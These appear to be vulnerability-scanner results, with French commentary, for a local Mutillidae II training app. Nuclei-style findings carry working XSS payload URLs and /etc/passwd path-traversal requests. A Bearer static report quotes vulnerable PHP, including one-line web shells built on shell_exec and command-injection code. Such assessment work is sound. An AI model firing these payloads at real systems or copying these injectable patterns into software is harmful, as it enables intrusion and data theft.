[CVE-2021-37833] [http] [medium] http://127.0.0.1/index.php/crea_modelli.php?page=repeater.php&anno=2021&id_sessione&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1

Une vulnérabilité XSS (cross-site scripting) existe dans plusieurs pages de la version 3.0.2 de l'application Hotel Druid qui permet l'exécution arbitraire de commandes JavaScript.

[CVE-2021-41467] [http] [medium] http://127.0.0.1/index.php/sync/dropbox/download?page=repeater.php&challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Une vulnérabilité XSS (cross-site scripting) dans application/controllers/dropbox.php dans JustWriting 1.0.0 et versions ultérieures permet aux attaquants distants d'injecter un script Web arbitraire ou HTML via le paramètre challenge.

[CVE-2021-42565] [http] [medium] http://127.0.0.1/index.php/ie50/system/login/SysLoginUser.aspx?page=repeater.php&Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

myfactory.FMS avant 7.1-912 autorise XSS via le paramètre UID.

[CVE-2021-45380] [http] [medium] http://127.0.0.1/index.php/templates/m/inc_head.php?page=repeater.php&q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

AppCMS 2.0.101 présente une vulnérabilité d'injection XSS dans les modèles m inc_head.php

[tech-detect:paypal] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[tech-detect:php] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[robots-txt-endpoint] [http] [info] http://127.0.0.1/robots.txt?page=repeater.php
[http-missing-security-headers:x-frame-options] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:x-content-type-options] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:clear-site-data] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:content-security-policy] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:permissions-policy] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://127.0.0.1/index.php?page=repeater.php
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://127.0.0.1/index.php?page=repeater.php

[waf-detect:aspgeneric] [http] [info] http://127.0.0.1/index.php/?page=repeater.php
[waf-detect:ats] [http] [info] http://127.0.0.1/index.php/?page=repeater.php
[waf-detect:apachegeneric] [http] [info] http://127.0.0.1/index.php/?page=repeater.php
[top-xss-params] [http] [high] http://127.0.0.1/index.php/?page=repeater.php&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27page%27%29%3E&q=%27%3E%22%3Csvg%2Fonload=confirm%28%27q%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27s%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27search%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27id%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27action%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27keyword%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27query%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27keywords%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27url%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27view%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27cat%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27name%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27key%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27p%27%29%3E
[top-xss-params] [http] [high] http://127.0.0.1/index.php/?page=repeater.php&api=%27%3E%22%3Csvg%2Fonload=confirm%28%27api%27%29%3E&api_key=%27%3E%22%3Csvg%2Fonload=confirm%28%27api_key%27%29%3E&begindate=%27%3E%22%3Csvg%2Fonload=confirm%28%27begindate%27%29%3E&callback=%27%3E%22%3Csvg%2Fonload=confirm%28%27callback%27%29%3E&categoryid=%27%3E%22%3Csvg%2Fonload=confirm%28%27categoryid%27%29%3E&csrf_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27csrf_token%27%29%3E&email=%27%3E%22%3Csvg%2Fonload=confirm%28%27email%27%29%3E&emailto=%27%3E%22%3Csvg%2Fonload=confirm%28%27emailto%27%29%3E&enddate=%27%3E%22%3Csvg%2Fonload=confirm%28%27enddate%27%29%3E&immagine=%27%3E%22%3Csvg%2Fonload=confirm%28%27immagine%27%29%3E&item=%27%3E%22%3Csvg%2Fonload=confirm%28%27item%27%29%3E&jsonp=%27%3E%22%3Csvg%2Fonload=confirm%28%27jsonp%27%29%3E&l=%27%3E%22%3Csvg%2Fonload=confirm%28%27l%27%29%3E&lang=%27%3E%22%3Csvg%2Fonload=confirm%28%27lang%27%29%3E&list_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27list_type%27%29%3E
[eclipse-help-system-xss] [http] [high] http://127.0.0.1/index.php/help/index.jsp?page=repeater.php&view=%3Cscript%3Ealert(document.cookie)%3C/script%3E
[top-xss-params] [http] [high] http://127.0.0.1/index.php/?page=repeater.php&month=%27%3E%22%3Csvg%2Fonload=confirm%28%27month%27%29%3E&page_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27page_id%27%29%3E&password=%27%3E%22%3Csvg%2Fonload=confirm%28%27password%27%29%3E&terms=%27%3E%22%3Csvg%2Fonload=confirm%28%27terms%27%29%3E&token=%27%3E%22%3Csvg%2Fonload=confirm%28%27token%27%29%3E&type=%27%3E%22%3Csvg%2Fonload=confirm%28%27type%27%29%3E&unsubscribe_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27unsubscribe_token%27%29%3E&year=%27%3E%22%3Csvg%2Fonload=confirm%28%27year%27%29%3E

[moodle-filter-jmol-xss] [http] [medium]
http://127.0.0.1/index.php/filter/jmol/js/jsmol/php/jsmol.php?page=repeater.php&call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html
[netsweeper-rxss] [http] [high]
http://127.0.0.1/index.php/webadmin/reporter/view_server_log.php?page=repeater.php&server=localhost&act=stats&filename&offset=1&offset&count=1000&sortorder&log=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sortitem&filter
[discourse-xss] [http] [high] http://127.0.0.1/index.php/email/unsubscribed?page=repeater.php&email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E
[global-domains-xss] [http] [high] http://127.0.0.1/index.php/index.dhtml?page=repeater.php&sponsor=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[java-melody-xss] [http] [high] http://127.0.0.1/index.php/monitoring?page=repeater.php&part=graph&graph=usedMemory%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[karel-ip-phone-lfi] [http] [high] http://127.0.0.1/index.php/cgi-bin/cgiServer.exx?page=repeater.php&page=../../../../../../../../../../etc/passwd
[mida-eframework-xss] [http] [high] http://127.0.0.1/index.php/MUP/?page=repeater.php
[parentlink-xss] [http] [high] http://127.0.0.1/index.php/main/blank?page=repeater.php&message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E
[parentlink-xss] [http] [high] http://127.0.0.1/index.php/main/blank?page=repeater.php&message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E
[qcubed-xss] [http] [high]
http://127.0.0.1/index.php/assets/php/_devtools/installer/step_2.php?page=repeater.php&installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[rockmongo-xss] [http] [high] http://127.0.0.1/index.php/index.php?page=repeater.php&action=login.index
[sl-studio-lfi] [http] [high] http://127.0.0.1/index.php/index.php?page=repeater.php&page=../../../../../../../../../../etc/passwd
[sick-beard-xss] [http] [high] http://127.0.0.1/index.php/config/postProcessing/testNaming?page=repeater.php&pattern=%3Csvg/onload=alert(document.domain)%3E
[tikiwiki-reflected-xss] [http] [high] http://127.0.0.1/index.php/tiki-5.2/tiki-edit_wiki_section.php?page=repeater.php&type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E
[turbocrm-xss] [http] [high] http://127.0.0.1/index.php/login/forgetpswd.php?page=repeater.php&loginsys=1&loginname=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
[vanguard-post-xss] [http] [high] http://127.0.0.1/index.php/search?page=repeater.php

[tikiwiki-reflected-xss] [http] [high] http://127.0.0.1/index.php/tiki-edit_wiki_section.php?page=repeater.php&type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E
[wems-manager-xss] [http] [high] http://127.0.0.1/index.php/guest/users/forgotten?page=repeater.php&email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E
[squirrelmail-address-xss] [http] [medium] http://127.0.0.1/index.php/plugins/address_add/add.php?page=repeater.php&first=HOVER%20ME!%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[wordpress-wordfence-xss] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/wordfence/lib/diffResult.php?page=repeater.php&file=%27%3E%22%3Csvg%2Fonload=confirm%28%27test%27%29%3E
[wp-custom-tables-xss] [http] [high] http://127.0.0.1/index.php/wp-content/plugins/custom-tables/iframe.php?page=repeater.php&s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[wp-finder-xss] [http] [high] http://127.0.0.1/index.php/wp-content/plugins/finder/index.php?page=repeater.php&by=type&dir=tv&order=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[wp-flagem-xss] [http] [high] http://127.0.0.1/index.php/wp-content/plugins/FlagEm/flagit.php?page=repeater.php&cID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[wp-ambience-xss] [http] [medium] http://127.0.0.1/index.php/wp-content/themes/ambience/thumb.php?page=repeater.php&src=%3Cbody%20onload%3Dalert(1)%3E.jpg
[wordpress-zebra-form-xss] [http] [medium] http://127.0.0.1/index.php/wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?page=repeater.php&form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload
[wp-knews-xss] [http] [high] http://127.0.0.1/index.php/wp-content/plugins/knews/wysiwyg/fontpicker/?page=repeater.php&ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[wp-phpfreechat-xss] [http] [high] http://127.0.0.1/index.php/wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php?page=repeater.php&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[wp-nextgen-xss] [http] [high] http://127.0.0.1/index.php/wp-content/plugins/nextgen-gallery/nggallery.php?page=repeater.php&test-head=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[wp-slideshow-xss] [http] [high] http://127.0.0.1/index.php/wp-content/plugins/slideshow-

jquery-image-gallery/views/SlideshowPlugin/slideshow.php?page=repeater.php&randomId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
[ldap-anonymous-login] [tcp] [medium] 127.0.0.1:389
[ssl-issuer] [ssl] [info] 127.0.0.1:443 [Mutillidae II]
[self-signed-ssl] [ssl] [low] 127.0.0.1:443
[tls-version] [ssl] [info] 127.0.0.1:443 [tls12]
[tls-version] [ssl] [info] 127.0.0.1:443 [tls13]
[zend-v1-xss] [http] [medium]
http://127.0.0.1/index.php/tests/Zend/Http/Client/_files/testRedirections.php?page=repeater.php&redirection=3¶m=<img/src=x%20onerror=alert(document.domain)>

et voici ci-dessous un scan de sécurité qui a permis de scanner le code du site entier a la source et identifié 217 failles en faisant 123 ckecks en spécifiant la la source et la ligne de la faille :

Security Report

==========

Rules:
https://docs.bearer.com/reference/rules [v0.20.1]

Language Default Rules Custom Rules Files
PHP 51 0 166
JavaScript 72 0 16

HIGH: Dangerous dynamic HTML insert detected. [CWE-79]
https://docs.bearer.com/reference/rules/javascript_lang_dangerous_insert_html
To ignore this finding, run: bearer ignore add 87983ef5e486d5254a3b78a7d2e3e639_0

File: javascript/ddsmoothmenu/ddsmoothmenu.js:137

137 document.write('')

HIGH: Dangerous dynamic HTML insert detected. [CWE-79]
https://docs.bearer.com/reference/rules/javascript_lang_dangerous_insert_html
To ignore this finding, run: bearer ignore add a4e4b0ab5230985eed0c7b64fcee1828_0

File: javascript/jQuery/colorbox/jquery.colorbox.js:127

127 var element = document.createElement(tag);

HIGH: Sensitive data stored in a cookie detected. [CWE-315, CWE-539]
https://docs.bearer.com/reference/rules/php_lang_cookies
To ignore this finding, run: bearer ignore add dfc0be7ccc655c57908fd68e30a4f2f7_0

File: includes/process-login-attempt.php:121

121 setcookie("username", $lUsernameCookie, $l_cookie_options);

HIGH: Sensitive data stored in a cookie detected. [CWE-315, CWE-539]
https://docs.bearer.com/reference/rules/php_lang_cookies
To ignore this finding, run: bearer ignore add dfc0be7ccc655c57908fd68e30a4f2f7_1

File: includes/process-login-attempt.php:134

134 setrawcookie("username", $lUsernameCookie, $l_cookie_options);

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add b09338504b67770b20636bbe026b5682_0

File: content-security-policy.php:118

118 echo '

```
'.shell_exec("echo -n " . $lMessage).'
```

';

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add b67943479bc03954f722d13bf10bb207_0

File: dns-lookup.php:164

164 echo '

```
'.shell_exec("nslookup " . $lTargetHost).'
```

';

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add 3ae695836d78617c5b6cd1f0b305f45a_0

File: echo.php:147

147 echo '

```
'.shell_exec("echo " . $lMessage).'
```

';

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add 3e4e7253deaaf659ed8c7d113f441f07_0

File: labs/lab-files/command-injection-lab-files/simple-web-shell.php:1

1 '.shell_exec($_GET['cmd']).''; ?>

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add 0365970a3e5a9da4f49dc10c85ad2d7d_0

File: labs/lab-files/insecure-direct-object-references-lab-files/simple-web-shell.php:4

4 echo shell_exec($_REQUEST["pCommand"]);

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add 1546f433ab1d5dd81a7a7445190ceda7_0

File: labs/lab-files/remote-file-inclusion-lab-files/passthru-rfi.php:1

1

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add fe9e722e6b44afee4ed8efe4f5a287b0_0

File: labs/lab-files/remote-file-inclusion-lab-files/simple-web-shell.php:4

4 echo shell_exec($_REQUEST["pCommand"]);

HIGH: Execution of OS command formed with user input detected. [CWE-78]
https://docs.bearer.com/reference/rules/php_lang_exec_using_user_input
To ignore this finding, run: bearer ignore add a6aca7fb14f431fb3e95f2f81720065c_0

File: test-connectivity.php:99

99 echo '

```
'.shell_exec("curl --silent " . $lServerURL).'
```

';

HIGH: Sensitive data detected as part of a dynamic file generation. [CWE-532, CWE-313]
https://docs.bearer.com/reference/rules/php_lang_file_generation
To ignore this finding, run: bearer ignore add 68e3cd317e7a3e9f71f7223e02c7f340_0

File: set-up-database.php:1264

1264 file_put_contents($lAccountXMLFilePath$,lAccountsXML);

HIGH: Sensitive data detected as part of a dynamic file generation. [CWE-532, CWE-313]
https://docs.bearer.com/reference/rules/php_lang_file_generation
To ignore this finding, run: bearer ignore add 68e3cd317e7a3e9f71f7223e02c7f340_1

File: set-up-database.php:1280

1280 file_put_contents($lPasswordFilePath$,lAccountsText);

HIGH: HTTP communication with user-controlled destination detected. [CWE-918]
https://docs.bearer.com/reference/rules/php_lang_http_url_using_user_input
To ignore this finding, run: bearer ignore add aa9a546d12474c2f93a34f51d1e34c98_0

File: text-file-viewer.php:217

217 $handle = fopen$(lURL, "r");

HIGH: Open redirect detected. [CWE-601]
https://docs.bearer.com/reference/rules/php_lang_open_redirect
To ignore this finding, run: bearer ignore add 6049f2e4fecac7abc954a459fbc360dd_0

File: index.php:47

47 header("Location: $lSecureRedirect");

HIGH: Do not use user input to form file paths. [CWE-22, CWE-73]
https://docs.bearer.com/reference/rules/php_lang_path_using_user_input
To ignore this finding, run: bearer ignore add c3dc8d2a0fe7578491800f2095454644_0

File: text-file-viewer.php:217

217 $handle = fopen$(lURL, "r");

HIGH: Exposure of Sensitive Information to an Unauthorized Actor. [CWE-200]
https://docs.bearer.com/reference/rules/php_lang_phpinfo
To ignore this finding, run: bearer ignore add 3fa4b1322bb9445eaf6e195e0f055452_0

File: phpinfo.php:30

30 echo phpinfo(INFO_ALL);

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 40e25f5487ba3937c079407b0ca2b2f9_0

File: content-security-policy.php:112

112 echo '

Results for '.$lMessageText.'
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 40e25f5487ba3937c079407b0ca2b2f9_2

File: content-security-policy.php:115

115 echo '

```
  '.$lMessageText.'
```

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 40e25f5487ba3937c079407b0ca2b2f9_4

File: content-security-policy.php:118

118 echo '

```
  '.shell_exec("echo -n " . $lMessage).'
```

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 37bd37b6b0f4704f0d7940237056c3eb_0

File: dns-lookup.php:150

150 echo '

Results for '.$lTargetHostText.'
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 37bd37b6b0f4704f0d7940237056c3eb_2

File: dns-lookup.php:164

164 echo '

```
'.shell_exec("nslookup " . $lTargetHost).'
```

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 012e17ca3ae8f13bba7af00e00589bdd_0

File: echo.php:141

141 echo '

Results for '.$lMessageText.'
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 012e17ca3ae8f13bba7af00e00589bdd_2

File: echo.php:144

144 echo '

```
'.$lMessageText.'
```

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 012e17ca3ae8f13bba7af00e00589bdd_4

File: echo.php:147

147 echo '

```
'.shell_exec("echo " . $lMessage).'
```

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add ba179548f874f382eb6fda2559d6d825_0

File: edit-account-profile.php:98

98 echo '

Profile updated for ' . $lUsernameText . '
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 9c52239c9f864333a6dae76b78b42df6_0

File: includes/pop-up-help-context-generator.php:26

26 echo '

27 Hack with confidence.
28

29 Page ' . $lPageName . ' is vulnerable to at least the following:
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 9c52239c9f864333a6dae76b78b42df6_2

File: includes/pop-up-help-context-generator.php:35

35 echo '

36 Page ' . $lPageName . ' does not have any help documentation.
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add d8db0af99cb2d148c6f8407266269a1f_0

File: labs/lab-files/command-injection-lab-files/simple-web-shell.php:1

1 '.shell_exec($_GET['cmd']).''; ?>

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add b5c774a3d1df3b62d8f192ea3cea3f72_0

File: redirectandlog.php:31

31 echo '';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input

To ignore this finding, run: bearer ignore add 0f67f85f5b6d023f6741a3233cbe6f87_0

File: register.php:91

91 echo '

Account created for ' . $lUsernameText.'.' . lRowsAffected.' rows inserted.

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add db083e424cbb3db38e2c26bacbe3b229_0

File: test-connectivity.php:98

98 echo '

Results for '.$lServerURLText.'
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add db083e424cbb3db38e2c26bacbe3b229_2

File: test-connectivity.php:99

99 echo '

```
'.shell_exec("curl --silent " . $lServerURL).'
```

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 16102c788dd65f88ac9f6deae8a3c7d6_0

File: text-file-viewer.php:218

218 echo 'File: '.$lTextFileDescription.'';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add d3e86d86e8d6a2aa2858ce78eb32fe44_0

File: user-info-xpath.php:207

207 echo '

208

209 Results for '
210 .$lHTMLUsername.

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add d3e86d86e8d6a2aa2858ce78eb32fe44_2

File: user-info-xpath.php:213

213 echo '
Executed query: ' . $lHTMLXPathQueryString . '

';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add dcd83951cf20eba1a2b92f8433f7d69a_0

File: user-info.php:187

187 echo '

188 Results for '"
189 .lUsername. 190 '".'.lRecordsFound.' records found.
191
';

HIGH: Unsanitized user input detected in raw HTML string. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_html_using_user_input
To ignore this finding, run: bearer ignore add 63748caa6735182924823 72f3e90ef22_0

File: xml-validator.php:178

178 echo " " . $Encoder->encodeForXML($
lXML) . "

";

HIGH: Missing SSL certificate verification detected. [CWE-295]
https://docs.bearer.com/reference/rules/php_lang_ssl_verification
To ignore this finding, run: bearer ignore add 6989aba91290259d98fb68953a2155e9_0

File: classes/RemoteFileHandler.php:62

62 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

MEDIUM: Communication through an insecure HTTP connection detected. [CWE-319]
https://docs.bearer.com/reference/rules/php_lang_http_insecure
To ignore this finding, run: bearer ignore add 1acbeca71ec234c7551c48c7583fd2f2_0

File: classes/YouTubeVideoHandler.php:255

255 curl_setopt(
$lCurlInstance, CURLOPT_URL, "http://gdata.youtube.com/feeds/api/videos/".
pVideoIdentificationToken);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 4fa69f79e186f538e7b2057249865cf6_0

File: includes/process-commands.php:59

59 setrawcookie("username", "deleted", $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 4fa69f79e186f538e7b2057249865cf6_1

File: includes/process-commands.php:60

60 setrawcookie("uid", "deleted", $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 4fa69f79e186f538e7b2057249865cf6_2

File: includes/process-commands.php:71

71 setcookie("uid", "deleted", $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 4fa69f79e186f538e7b2057249865cf6_3

File: includes/process-commands.php:72

72 setcookie("username", "deleted", $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 4fa69f79e186f538e7b2057249865cf6_4

File: includes/process-commands.php:112

112 setcookie('showhints', $l_showhints, $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 4fa69f79e186f538e7b2057249865cf6_5

File: includes/process-commands.php:157

157 setcookie('showhints', "1", $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 4fa69f79e186f538e7b2057249865cf6_6

File: includes/process-commands.php:176

176 setcookie('showhints', "0", $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 2a5fa681b5501b0cfcb68151b5819539_0

File: includes/process-login-attempt.php:121

121 setcookie("username", $lUsernameCookie, $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 2a5fa681b5501b0cfcb68151b5819539_1

File: includes/process-login-attempt.php:122

122 setcookie("uid", $lRecord->cid, $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 2a5fa681b5501b0cfcb68151b5819539_2

File: includes/process-login-attempt.php:134

134 setrawcookie("username", $lUsernameCookie, $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add 2a5fa681b5501b0cfcb68151b5819539_3

File: includes/process-login-attempt.php:135

135 setrawcookie("uid", $lRecord->cid, $l_cookie_options);

MEDIUM: Missing secure options for cookie detected. [CWE-1004, CWE-614]
https://docs.bearer.com/reference/rules/php_lang_insecure_cookie
To ignore this finding, run: bearer ignore add a213a560a1e4b242e49eb232fb0d566d_0

File: index.php:138

138 setcookie('showhints', $l_showhints, $l_cookie_options);

MEDIUM: Manual HTML sanitization detected. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_manual_html_sanitization
To ignore this finding, run: bearer ignore add fbb2ffb405b8d3a2f9ffd719f3769095_0

File: webservices/soap/lib/nusoap.php:365

365 $val = str_replace('&', '&', $val);

MEDIUM: Manual HTML sanitization detected. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_manual_html_sanitization
To ignore this finding, run: bearer ignore add fbb2ffb405b8d3a2f9ffd719f3769095_1

File: webservices/soap/lib/nusoap.php:366

366 $val = str_replace('"', '', $val);

MEDIUM: Manual HTML sanitization detected. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_manual_html_sanitization
To ignore this finding, run: bearer ignore add fbb2ffb405b8d3a2f9ffd719f3769095_2

File: webservices/soap/lib/nusoap.php:367

367 $val = str_replace("'", '', $val);

MEDIUM: Manual HTML sanitization detected. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_manual_html_sanitization
To ignore this finding, run: bearer ignore add fbb2ffb405b8d3a2f9ffd719f3769095_3

File: webservices/soap/lib/nusoap.php:368

368 $val = str_replace('<', '<', $val);

